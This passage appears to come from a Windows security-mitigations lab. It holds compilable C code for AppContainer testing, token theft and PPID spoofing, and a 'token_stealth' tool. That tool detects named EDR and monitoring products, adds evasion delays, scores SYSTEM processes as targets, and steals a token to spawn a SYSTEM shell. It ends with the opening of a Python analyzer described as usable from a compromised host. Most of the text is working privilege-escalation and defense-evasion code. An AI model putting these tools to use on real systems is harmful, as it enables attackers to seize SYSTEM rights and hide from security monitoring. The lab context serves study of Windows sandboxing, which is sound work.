SpawnLowIntegrityProcess(testCmd);
printf("\n=== Summary ===\n");
printf("Medium IL: Can write to user profile and registry\n");
printf("Low IL: Cannot write to Medium-IL user locations\n");
printf("Both: Cannot write to system locations (need elevation)\n");
return 0;
}
Compile and Run
cd c:\Windows_Mitigations_Lab>
cl src\integrity_level_tool.c /Fe:bin\integrity_level_tool.exe advapi32.lib
.\bin\integrity_level_tool.exe
// appcontainer_analysis.c - Analyze and test AppContainer isolation
// Compile: cl src\appcontainer_analysis.c /Fe:bin\appcontainer_analysis.exe advapi32.lib userenv.lib ole32.lib
#include <windows.h>
#include <userenv.h>
#include <sddl.h>
#include <stdio.h>
/*
AppContainer Isolation:
═══════════════════════
AppContainer is a stronger sandbox than integrity levels.
Used by: Edge/Chrome renderers, Windows Store apps, sandboxed services.
Key restrictions:
- Processes get a unique AppContainer SID
- Cannot access most user resources by default
- Network access requires explicit capabilities
- File access limited to package-specific folders
- Registry access heavily restricted
- Cannot communicate freely with other processes
AppContainer capabilities:
- internetClient - Outbound internet
- internetClientServer - Internet + listen
- privateNetworkClientServer - LAN access
- documentsLibrary - User documents
- picturesLibrary - User pictures
- videosLibrary - User videos
- removableStorage - USB drives
- enterpriseAuthentication - Domain auth
ESCAPE VECTORS:
- Broker process exploitation (most common)
- Capability escalation via COM
- Kernel vulnerabilities (bypass all usermode sandboxing)
- Named object namespace leaks
- Shared section exploitation
*/
void EnumerateAppContainerProcesses() {
printf("=== AppContainer Process Enumeration ===\n\n");
printf("[*] To enumerate AppContainer processes:\n");
printf(" Get-Process | ForEach-Object {\n");
printf(" $token = (Get-NtToken -ProcessId $_.Id -Access Query);\n");
printf(" if ($token.AppContainer) {\n");
printf(" Write-Host \"$($_.Name) [PID: $($_.Id)] - AC: $($token.AppContainerSid)\"\n");
printf(" }\n");
printf(" }\n\n");
printf("[*] Common AppContainer processes:\n");
printf(" - msedge.exe (renderer) - Edge browser tabs\n");
printf(" - chrome.exe (renderer) - Chrome browser tabs\n");
printf(" - RuntimeBroker.exe - UWP app broker\n");
printf(" - SearchUI.exe - Windows Search\n");
printf(" - WindowsTerminal.exe - Modern terminal\n");
}
BOOL CreateAppContainerProcess(const char* appName) {
printf("\n[*] Creating AppContainer process: %s\n", appName);
PSID pAppContainerSid = NULL;
HRESULT hr;
// Create AppContainer profile
LPCWSTR containerName = L"TestAppContainer";
LPCWSTR displayName = L"Test AppContainer";
LPCWSTR description = L"Testing AppContainer isolation";
hr = CreateAppContainerProfile(containerName, displayName,
description, NULL, 0, &pAppContainerSid);
if (FAILED(hr)) {
if (hr == HRESULT_FROM_WIN32(ERROR_ALREADY_EXISTS)) {
printf("[*] AppContainer profile already exists, deriving SID\n");
hr = DeriveAppContainerSidFromAppContainerName(containerName,
&pAppContainerSid);
}
if (FAILED(hr)) {
printf("[-] Failed to create/derive AppContainer: 0x%lX\n", hr);
return FALSE;
}
}
// Print AppContainer SID
LPWSTR sidString;
ConvertSidToStringSidW(pAppContainerSid, &sidString);
wprintf(L"[+] AppContainer SID: %s\n", sidString);
LocalFree(sidString);
// Set up security capabilities
SECURITY_CAPABILITIES secCaps = {0};
secCaps.AppContainerSid = pAppContainerSid;
secCaps.CapabilityCount = 0; // No capabilities = maximum restriction
secCaps.Capabilities = NULL;
// Create process in AppContainer
STARTUPINFOEXW siEx = {0};
siEx.StartupInfo.cb = sizeof(siEx);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(attrSize);
InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, &attrSize);
UpdateProcThreadAttribute(siEx.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES,
&secCaps, sizeof(secCaps), NULL, NULL);
PROCESS_INFORMATION pi = {0};
WCHAR cmdLine[] = L"cmd.exe /k echo Running in AppContainer";
if (CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL, NULL, &siEx.StartupInfo, &pi)) {
printf("[+] AppContainer process created, PID: %d\n", pi.dwProcessId);
printf("[*] Try accessing user files from that cmd.exe\n");
printf("[*] Try: type %%USERPROFILE%%\\Desktop\\test.txt\n");
printf("[*] Expected: Access denied\n");
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
printf("[-] CreateProcess failed: %d\n", GetLastError());
}
DeleteProcThreadAttributeList(siEx.lpAttributeList);
free(siEx.lpAttributeList);
FreeSid(pAppContainerSid);
return TRUE;
}
void ExplainEscapeVectors() {
printf("\n=== AppContainer Escape Vectors ===\n\n");
printf("[1] BROKER PROCESS EXPLOITATION\n");
printf("-------------------------------\n");
printf("AppContainer processes communicate with broker via IPC.\n");
printf("Broker runs at Medium IL with more access.\n");
printf("Exploit: Find vulnerability in broker's IPC handling.\n");
printf("Example: Chrome's Mojo IPC, Edge's RuntimeBroker\n\n");
printf("[2] COM OBJECT ABUSE\n");
printf("--------------------\n");
printf("Some COM objects are accessible from AppContainer.\n");
printf("If a COM object has excessive functionality:\n");
printf(" - File access via IShellItem\n");
printf(" - Registry access via specific interfaces\n");
printf(" - Network via COM-based protocols\n\n");
printf("[3] NAMED OBJECT NAMESPACE LEAKS\n");
printf("--------------------------------\n");
printf("AppContainers have their own object namespace.\n");
printf("But some objects may be shared globally:\n");
printf(" - Shared memory sections\n");
printf(" - Events, mutexes with weak DACLs\n");
printf(" - Named pipes accessible to AC\n\n");
printf("[4] PROCESS ATTRIBUTE MANIPULATION\n");
printf("----------------------------------\n");
printf("PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES sets AC.\n");
printf("If parent process can be influenced:\n");
printf(" - Spawn child without AC attribute\n");
printf(" - Inherit less-restricted token\n");
printf(" - Exploit token assignment logic\n\n");
printf("[5] KERNEL VULNERABILITY\n");
printf("------------------------\n");
printf("AppContainer is enforced by the kernel security reference monitor.\n");
printf("Kernel exploit = bypass ALL usermode sandboxing.\n");
printf("This is why kernel bugs are so valuable for browser exploit chains.\n");
}
int main() {
EnumerateAppContainerProcesses();
CreateAppContainerProcess("cmd.exe");
ExplainEscapeVectors();
return 0;
}
Compile and Run
cd c:\Windows_Mitigations_Lab>
cl src\appcontainer_analysis.c /Fe:bin\appcontainer_analysis.exe advapi32.lib userenv.lib ole32.lib
.\bin\appcontainer_analysis.exe
┌────────────────────────────────────────────────────────────────────┐
│ Windows Sandbox Mechanisms: IL vs AppContainer │
├────────────────────────────────────────────────────────────────────┤
│ │
│ Operation │ Medium IL │ Low IL │ AppContainer │
│ ──────────────────────────────────────────────────────────────────│
│ Read user files │ YES │ YES │ NO (denied) │
│ Write user files │ YES │ NO │ NO (denied) │
│ Write system files │ NO* │ NO │ NO (denied) │
│ Access registry HKCU │ YES │ YES (read)│ NO (denied) │
│ Network access │ YES │ YES │ NO (no caps) │
│ Access current dir │ YES │ YES │ NO (invalid) │
│ IPC with other procs │ YES │ LIMITED │ NO (isolated) │
│ │
│ * Requires elevation (High IL) │
│ │
│ KEY DIFFERENCES: │
│ ---------------- │
│ Integrity Levels: │
│ - Enforces No-Write-Up policy (lower cannot write to higher) │
│ - Read access preserved by default │
│ - Processes can still communicate via IPC │
│ - Used for: IE Protected Mode, sandboxed downloads │
│ │
│ AppContainer: │
│ - Default deny for all resources │
│ - Requires explicit capabilities for any access │
│ - Isolated object namespace │
│ - Used for: UWP apps, Edge/Chrome renderers, Store apps │
│ │
│ SECURITY HIERARCHY (weakest to strongest): │
│ Medium IL > Low IL > AppContainer (no caps) > Kernel isolation │
│ │
└────────────────────────────────────────────────────────────────────┘
cd c:\Windows_Mitigations_Lab
cl src\token_manipulation.c /Fe:bin\token_manipulation.exe advapi32.lib
tasklist | findstr cmd.exe
# use one of these pids and try both stealing and spoofing methods
.\bin\token_manipulation.exe
cl src\token_stealth.c /Fe:bin\token_stealth.exe /MT /O2 advapi32.lib
# run the following as admin:
.\token_stealth.exe
# a new cmd should be popped
whoami
#nt authority\system
whoami /groups | findstr "Label"
#Mandatory Label\System Mandatory Level Label S-1-16-16384
whoami /priv
# PRIVILEGES INFORMATION
// token_manipulation.c
// Compile: cl src\token_manipulation.c /Fe:bin\token_manipulation.exe advapi32.lib
#include <windows.h>
#include <stdio.h>
#include <sddl.h>
void DumpTokenInfo(HANDLE hToken) {
DWORD dwSize;
// Get user SID
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize);
PTOKEN_USER pUser = (PTOKEN_USER)malloc(dwSize);
if (GetTokenInformation(hToken, TokenUser, pUser, dwSize, &dwSize)) {
LPSTR sidStr;
ConvertSidToStringSidA(pUser->User.Sid, &sidStr);
printf(" User SID: %s\n", sidStr);
LocalFree(sidStr);
}
free(pUser);
// Get privileges
GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &dwSize);
PTOKEN_PRIVILEGES pPrivs = (PTOKEN_PRIVILEGES)malloc(dwSize);
if (GetTokenInformation(hToken, TokenPrivileges, pPrivs, dwSize, &dwSize)) {
printf(" Privileges (%d):\n", pPrivs->PrivilegeCount);
for (DWORD i = 0; i < pPrivs->PrivilegeCount && i < 10; i++) {
char privName[256];
DWORD nameSize = sizeof(privName);
LookupPrivilegeNameA(NULL, &pPrivs->Privileges[i].Luid, privName, &nameSize);
printf(" %s [%s]\n", privName,
(pPrivs->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED) ? "ENABLED" : "DISABLED");
}
if (pPrivs->PrivilegeCount > 10) {
printf(" ... and %d more\n", pPrivs->PrivilegeCount - 10);
}
}
free(pPrivs);
}
BOOL EnablePrivilege(HANDLE hToken, LPCSTR privilege) {
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValueA(NULL, privilege, &luid)) {
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
printf("[-] Privilege %s not held by token\n", privilege);
return FALSE;
}
printf("[+] Privilege %s enabled\n", privilege);
return TRUE;
}
return FALSE;
}
BOOL StealTokenFromProcess(DWORD targetPID) {
printf("\n[*] Attempting to steal token from PID %d\n", targetPID);
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, targetPID);
if (!hProcess) {
printf("[-] OpenProcess failed: %d\n", GetLastError());
printf(" (Need SeDebugPrivilege or target must be same user)\n");
return FALSE;
}
HANDLE hToken = NULL;
if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
printf("[-] OpenProcessToken failed: %d\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Opened token from PID %d\n", targetPID);
printf("[*] Target token info:\n");
DumpTokenInfo(hToken);
// Duplicate the token
HANDLE hDupToken = NULL;
if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation,
TokenPrimary, &hDupToken)) {
printf("[-] DuplicateTokenEx failed: %d\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Token duplicated successfully\n");
// Try to create process with stolen token
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
if (CreateProcessWithTokenW(hDupToken, LOGON_WITH_PROFILE, NULL,
L"cmd.exe /k echo Token stolen from PID && whoami",
0, NULL, NULL, &si, &pi)) {
printf("[+] Process created with stolen token, PID: %d\n", pi.dwProcessId);
printf("[*] Check the new cmd.exe window - it runs with target's privileges\n");
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
printf("[-] CreateProcessWithTokenW failed: %d\n", GetLastError());
printf(" (Need SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege)\n");
}
CloseHandle(hDupToken);
CloseHandle(hToken);
CloseHandle(hProcess);
return TRUE;
}
BOOL PPIDSpoofing(DWORD parentPID) {
printf("\n[*] Attempting PPID spoofing with parent PID %d\n", parentPID);
// Open parent process
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPID);
if (!hParent) {
printf("[-] OpenProcess failed: %d\n", GetLastError());
printf(" (Need PROCESS_CREATE_PROCESS access to parent)\n");
return FALSE;
}
printf("[+] Opened parent process handle\n");
// Initialize attribute list
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
LPPROC_THREAD_ATTRIBUTE_LIST pAttrList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(attrSize);
if (!InitializeProcThreadAttributeList(pAttrList, 1, 0, &attrSize)) {
printf("[-] InitializeProcThreadAttributeList failed: %d\n", GetLastError());
CloseHandle(hParent);
free(pAttrList);
return FALSE;
}
// Set parent process attribute
if (!UpdateProcThreadAttribute(pAttrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE), NULL, NULL)) {
printf("[-] UpdateProcThreadAttribute failed: %d\n", GetLastError());
DeleteProcThreadAttributeList(pAttrList);
CloseHandle(hParent);
free(pAttrList);
return FALSE;
}
printf("[+] Process attribute set to spoof parent\n");
// Create process with spoofed PPID
STARTUPINFOEXA siEx = {0};
siEx.StartupInfo.cb = sizeof(siEx);
siEx.lpAttributeList = pAttrList;
PROCESS_INFORMATION pi = {0};
char cmdLine[] = "cmd.exe /k echo PPID Spoofed! Check Process Explorer";
if (CreateProcessA(NULL, cmdLine, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL, NULL, &siEx.StartupInfo, &pi)) {
printf("[+] Process created with spoofed PPID: %d\n", pi.dwProcessId);
printf("[*] Check Process Explorer - parent should show as PID %d\n", parentPID);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
printf("[-] CreateProcess failed: %d\n", GetLastError());
}
DeleteProcThreadAttributeList(pAttrList);
CloseHandle(hParent);
free(pAttrList);
return TRUE;
}
int main(int argc, char* argv[]) {
// Dump current token
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
printf("=== Current Token ===\n");
DumpTokenInfo(hToken);
// Try enabling common offensive privileges
printf("\n=== Enabling Privileges ===\n");
EnablePrivilege(hToken, "SeDebugPrivilege");
EnablePrivilege(hToken, "SeImpersonatePrivilege");
EnablePrivilege(hToken, "SeAssignPrimaryTokenPrivilege");
CloseHandle(hToken);
// Interactive menu
printf("\n=== Token Manipulation Techniques ===\n");
printf("[1] Steal token from another process\n");
printf("[2] PPID spoofing (fake parent process)\n");
printf("[3] Exit\n");
printf("\nSelect option: ");
int choice;
if (scanf("%d", &choice) != 1) {
printf("Invalid input\n");
return 1;
}
if (choice == 1) {
printf("Enter target PID to steal token from: ");
DWORD pid;
if (scanf("%d", &pid) == 1) {
StealTokenFromProcess(pid);
}
} else if (choice == 2) {
printf("Enter parent PID to spoof: ");
DWORD pid;
if (scanf("%d", &pid) == 1) {
PPIDSpoofing(pid);
}
}
printf("\n=== Summary ===\n");
printf("Token stealing: Requires SeDebugPrivilege or same-user access\n");
printf("PPID spoofing: Requires PROCESS_CREATE_PROCESS on parent\n");
printf("Both techniques bypass many security monitoring tools\n");
return 0;
}
// token_stealth.c
// Compile: cl src\token_stealth.c /Fe:bin\token_stealth.exe /MT /O2 advapi32.lib
// REQUIRES: SeDebugPrivilege (run as admin)
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <psapi.h>
#include <sddl.h>
#pragma comment(lib, "advapi32.lib")
// OPSEC and stealth structures
typedef struct _OPSEC_CTX {
BOOL is_edr_present;
BOOL is_monitoring_active;
DWORD stealth_level;
DWORD delay_factor;
} OPSEC_CTX;
typedef struct _TARGET_PROCESS {
DWORD pid;
WCHAR name[256];
DWORD session_id;
BOOL is_critical;
BOOL is_protected;
double cpu_usage;
} TARGET_PROCESS;
// Global state
static OPSEC_CTX g_opsec = {0};
static TARGET_PROCESS g_targets[32];
static int g_target_count = 0;
BOOL DetectEDRPresence() {
// Check for common EDR processes
WCHAR* edr_processes[] = {
L"crowdstrike.exe",
L"csfalconservice.exe",
L"sentinelagent.exe",
L"cb.exe",
L"carbonblack.exe",
L"edrclient.exe",
L"elasticendpoint.exe",
L"mcafeeendpoint.exe",
L"symantec.exe",
L"taniumclient.exe"
};
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return FALSE;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
BOOL found_edr = FALSE;
if (Process32FirstW(snapshot, &pe32)) {
do {
for (int i = 0; i < 10; i++) {
if (_wcsicmp(pe32.szExeFile, edr_processes[i]) == 0) {
found_edr = TRUE;
break;
}
}
} while (Process32NextW(snapshot, &pe32) && !found_edr);
}
CloseHandle(snapshot);
// Check for EDR drivers
WCHAR system32[MAX_PATH];
GetSystemDirectoryW(system32, MAX_PATH);
WCHAR* edr_drivers[] = {
L"\\drivers\\CrowdStrike\\",
L"\\drivers\\cb\\",
L"\\drivers\\sentinel\\",
L"\\drivers\\elastic\\"
};
for (int i = 0; i < 4; i++) {
WCHAR driver_path[MAX_PATH];
wcscpy_s(driver_path, MAX_PATH, system32);
wcscat_s(driver_path, MAX_PATH, edr_drivers[i]);
if (GetFileAttributesW(driver_path) != INVALID_FILE_ATTRIBUTES) {
found_edr = TRUE;
break;
}
}
return found_edr;
}
BOOL CheckProcessMonitoring() {
// Check for common monitoring tools
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return FALSE;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
BOOL monitoring = FALSE;
if (Process32FirstW(snapshot, &pe32)) {
do {
WCHAR* monitor_processes[] = {
L"procmon.exe",
L"processhacker.exe",
L"procexp.exe",
L"wireshark.exe",
L"sysinternals.exe",
L"taskmgr.exe"
};
for (int i = 0; i < 6; i++) {
if (_wcsicmp(pe32.szExeFile, monitor_processes[i]) == 0) {
monitoring = TRUE;
break;
}
}
} while (Process32NextW(snapshot, &pe32) && !monitoring);
}
CloseHandle(snapshot);
return monitoring;
}
VOID InitializeOPSEC() {
g_opsec.is_edr_present = DetectEDRPresence();
g_opsec.is_monitoring_active = CheckProcessMonitoring();
// Set stealth level based on environment
if (g_opsec.is_edr_present) {
g_opsec.stealth_level = 3; // Maximum stealth
g_opsec.delay_factor = 5000; // 5 second delays
} else if (g_opsec.is_monitoring_active) {
g_opsec.stealth_level = 2; // Medium stealth
g_opsec.delay_factor = 2000; // 2 second delays
} else {
g_opsec.stealth_level = 1; // Minimal stealth
g_opsec.delay_factor = 500; // 0.5 second delays
}
printf("[*] OPSEC Assessment:\n");
printf(" EDR Present: %s\n", g_opsec.is_edr_present ? "YES" : "NO");
printf(" Monitoring Active: %s\n", g_opsec.is_monitoring_active ? "YES" : "NO");
printf(" Stealth Level: %d\n", g_opsec.stealth_level);
printf(" Delay Factor: %d ms\n\n", g_opsec.delay_factor);
}
BOOL IsProcessProtected(DWORD pid) {
// Check if process is protected - simplified check
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) return TRUE; // Assume protected if can't open
BOOL protected = FALSE;
// Try to open with more access - if fails, likely protected
HANDLE hTestProcess = OpenProcess(PROCESS_VM_READ, FALSE, pid);
if (!hTestProcess) {
protected = TRUE;
} else {
CloseHandle(hTestProcess);
}
CloseHandle(hProcess);
return protected;
}
double GetProcessCPUUsage(DWORD pid) {
// Get CPU usage for process selection (avoid high CPU processes)
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) return 100.0; // Assume high usage
// Simple CPU check
FILETIME creation_time, exit_time, kernel_time, user_time;
if (GetProcessTimes(hProcess, &creation_time, &exit_time, &kernel_time, &user_time)) {
ULARGE_INTEGER kernel, user;
kernel.LowPart = kernel_time.dwLowDateTime;
kernel.HighPart = kernel_time.dwHighDateTime;
user.LowPart = user_time.dwLowDateTime;
user.HighPart = user_time.dwHighDateTime;
double cpu_time = (kernel.QuadPart + user.QuadPart) / 10000000.0;
CloseHandle(hProcess);
return cpu_time;
}
CloseHandle(hProcess);
return 50.0;
}
VOID EnumerateTargetProcesses() {
printf("[*] Enumerating potential SYSTEM processes...\n");
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
g_target_count = 0;
if (Process32FirstW(snapshot, &pe32)) {
do {
// Check if process runs as SYSTEM
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
if (!hProcess) continue;
HANDLE hToken;
if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
DWORD token_size = 0;
GetTokenInformation(hToken, TokenUser, NULL, 0, &token_size);
if (token_size > 0) {
TOKEN_USER* token_user = (TOKEN_USER*)malloc(token_size);
if (GetTokenInformation(hToken, TokenUser, token_user, token_size, &token_size)) {
LPWSTR sid_string;
if (ConvertSidToStringSidW(token_user->User.Sid, &sid_string)) {
if (wcsstr(sid_string, L"S-1-5-18")) { // SYSTEM SID
if (g_target_count < 32) {
g_targets[g_target_count].pid = pe32.th32ProcessID;
wcscpy_s(g_targets[g_target_count].name, 256, pe32.szExeFile);
// Get session ID via ProcessIdToSessionId
DWORD session_id = 0;
ProcessIdToSessionId(pe32.th32ProcessID, &session_id);
g_targets[g_target_count].session_id = session_id;
g_targets[g_target_count].is_protected = IsProcessProtected(pe32.th32ProcessID);
g_targets[g_target_count].cpu_usage = GetProcessCPUUsage(pe32.th32ProcessID);
// Mark critical processes
g_targets[g_target_count].is_critical =
(_wcsicmp(pe32.szExeFile, L"winlogon.exe") == 0) ||
(_wcsicmp(pe32.szExeFile, L"csrss.exe") == 0) ||
(_wcsicmp(pe32.szExeFile, L"smss.exe") == 0);
g_target_count++;
}
}
LocalFree(sid_string);
}
}
free(token_user);
}
CloseHandle(hToken);
}
CloseHandle(hProcess);
} while (Process32NextW(snapshot, &pe32) && g_target_count < 32);
}
CloseHandle(snapshot);
// Display targets with analysis
printf("[+] Found %d potential targets:\n", g_target_count);
for (int i = 0; i < g_target_count; i++) {
wprintf(L" [%d] %s (PID: %d, Session: %d)\n",
i, g_targets[i].name, g_targets[i].pid, g_targets[i].session_id);
printf(" Protected: %s, Critical: %s, CPU: %.1f%%\n",
g_targets[i].is_protected ? "YES" : "NO",
g_targets[i].is_critical ? "YES" : "NO",
g_targets[i].cpu_usage);
}
printf("\n");
}
DWORD SelectOptimalTarget() {
// Score-based target selection
double best_score = -1.0;
int best_target = -1;
for (int i = 0; i < g_target_count; i++) {
double score = 0.0;
// Prefer non-protected processes
if (!g_targets[i].is_protected) score += 100;
// Prefer non-critical processes
if (!g_targets[i].is_critical) score += 50;
// Prefer low CPU usage
score += (100.0 - g_targets[i].cpu_usage);
// PREFER session 1 (user session) over session 0 for token access
if (g_targets[i].session_id == 1) score += 50;
else if (g_targets[i].session_id == 0) score += 25;
// Penalty for common targets that might be monitored
if (_wcsicmp(g_targets[i].name, L"lsass.exe") == 0) score -= 30;
if (_wcsicmp(g_targets[i].name, L"services.exe") == 0) score -= 20;
// Bonus for winlogon (usually accessible)
if (_wcsicmp(g_targets[i].name, L"winlogon.exe") == 0) score += 30;
if (score > best_score) {
best_score = score;
best_target = i;
}
}
if (best_target >= 0) {
wprintf(L"[*] Selected optimal target: %s (PID: %d, Score: %.1f)\n",
g_targets[best_target].name, g_targets[best_target].pid, best_score);
return g_targets[best_target].pid;
}
return 0;
}
BOOL EnableDebugPrivilegeStealth() {
printf("[*] Enabling SeDebugPrivilege with stealth...\n");
// Add delay based on stealth level
if (g_opsec.stealth_level > 1) {
Sleep(g_opsec.delay_factor);
}
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
printf("[-] Failed to open process token\n");
return FALSE;
}
if (!LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid)) {
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
DWORD err = GetLastError();
CloseHandle(hToken);
if (result && (err != ERROR_NOT_ALL_ASSIGNED)) {
printf("[+] SeDebugPrivilege enabled\n");
return TRUE;
}
printf("[-] Failed to enable SeDebugPrivilege\n");
return FALSE;
}
BOOL StealTokenWithStealth(DWORD targetPid, const char* cmdLine) {
printf("[*] Initiating stealthy token theft from PID %d...\n", targetPid);
// Add random delay for stealth
if (g_opsec.stealth_level > 1) {
Sleep(g_opsec.delay_factor + (rand() % 1000));
}
// Step 1: Open target process with maximum access
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
if (!hProcess) {
// Try with less access
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, targetPid);
if (!hProcess) {
printf("[-] Failed to open target process: %d\n", GetLastError());
return FALSE;
}
}
printf("[+] Opened target process\n");
// Step 2: Get process token with all necessary rights
HANDLE hToken;
if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
printf("[-] Failed to open process token: %d (trying different target)\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Opened token from PID %d\n", targetPid);
// Step 3: Duplicate token
HANDLE hDupToken;
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken)) {
printf("[-] Failed to duplicate token: %d\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Token duplicated successfully\n");
// Step 4: Create process with stolen token
STARTUPINFOW si = { sizeof(si) };
si.lpDesktop = L"Winsta0\\Default";
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOWNORMAL;
PROCESS_INFORMATION pi = {0};
wchar_t cmdBuf[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, cmdLine, -1, cmdBuf, MAX_PATH);
BOOL success = CreateProcessWithTokenW(hDupToken, LOGON_WITH_PROFILE,
NULL, cmdBuf, 0,
NULL, NULL, &si, &pi);
if (success) {
printf("[+] SYSTEM process created with PID: %d\n", pi.dwProcessId);
printf("[*] A new SYSTEM cmd.exe window should have opened\n");
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
// Fallback method
printf("[*] Primary method failed (%d), trying CreateProcessAsUser...\n", GetLastError());
success = CreateProcessAsUserW(hDupToken, NULL, cmdBuf, NULL, NULL,
FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (success) {
printf("[+] SYSTEM process created via fallback, PID: %d\n", pi.dwProcessId);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
printf("[-] All token theft methods failed: %d\n", GetLastError());
}
}
// Cleanup
if (g_opsec.stealth_level > 1) {
Sleep(g_opsec.delay_factor / 2);
}
CloseHandle(hDupToken);
CloseHandle(hToken);
CloseHandle(hProcess);
return success;
}
int main() {
// Initialize random seed for delays
srand(GetTickCount());
// Step 1: OPSEC assessment
InitializeOPSEC();
// Step 2: Enable debug privilege with stealth
if (!EnableDebugPrivilegeStealth()) {
printf("[-] Must run as Administrator with UAC elevation\n");
return 1;
}
// Step 3: Enumerate and analyze potential targets
EnumerateTargetProcesses();
if (g_target_count == 0) {
printf("[-] No suitable SYSTEM processes found\n");
return 1;
}
// Step 4: Select optimal target based on OPSEC considerations
DWORD targetPid = SelectOptimalTarget();
if (targetPid == 0) {
printf("[-] No optimal target selected\n");
return 1;
}
// Step 5: Execute stealthy token theft with retry
printf("\n[*] Executing stealthy token theft...\n");
BOOL success = FALSE;
int attempts = 0;
int max_attempts = 5;
while (!success && attempts < max_attempts && attempts < g_target_count) {
// Try different targets if first one fails
DWORD tryPid = (attempts == 0) ? targetPid : g_targets[attempts].pid;
if (attempts > 0) {
wprintf(L"[*] Trying alternative target: %s (PID: %d)\n",
g_targets[attempts].name, tryPid);
}
success = StealTokenWithStealth(tryPid, "cmd.exe");
attempts++;
if (!success && attempts < max_attempts) {
Sleep(500); // Brief delay between attempts
}
}
if (success) {
printf("\n[+] Token theft completed successfully after %d attempt(s)\n", attempts);
printf("[*] Check for new SYSTEM command prompt\n");
if (g_opsec.is_edr_present) {
printf("[!] EDR detected - monitor for alerts\n");
}
} else {
printf("\n[-] Token theft failed after %d attempts\n", attempts);
printf("[*] This may indicate:\n");
printf(" - Protected processes (PPL)\n");
printf(" - Insufficient privileges\n");
printf(" - Security software blocking access\n");
return 1;
}
printf("\n[*] Execution completed - exiting cleanly\n");
return 0;
}
#!/usr/bin/env python3
"""
token_sandbox_analyzer.py
Uses ctypes for direct Win32 API calls
Run as admin for full analysis. Works from both attacker's Python or
a compromised host with Python available.
"""
import ctypes
import ctypes.wintypes as wt
import os
import sys
import subprocess
import json
from enum import IntEnum
# --- Constants ---
TOKEN_QUERY = 0x0008
TOKEN_DUPLICATE = 0x0002
TOKEN_ASSIGN_PRIMARY = 0x0001
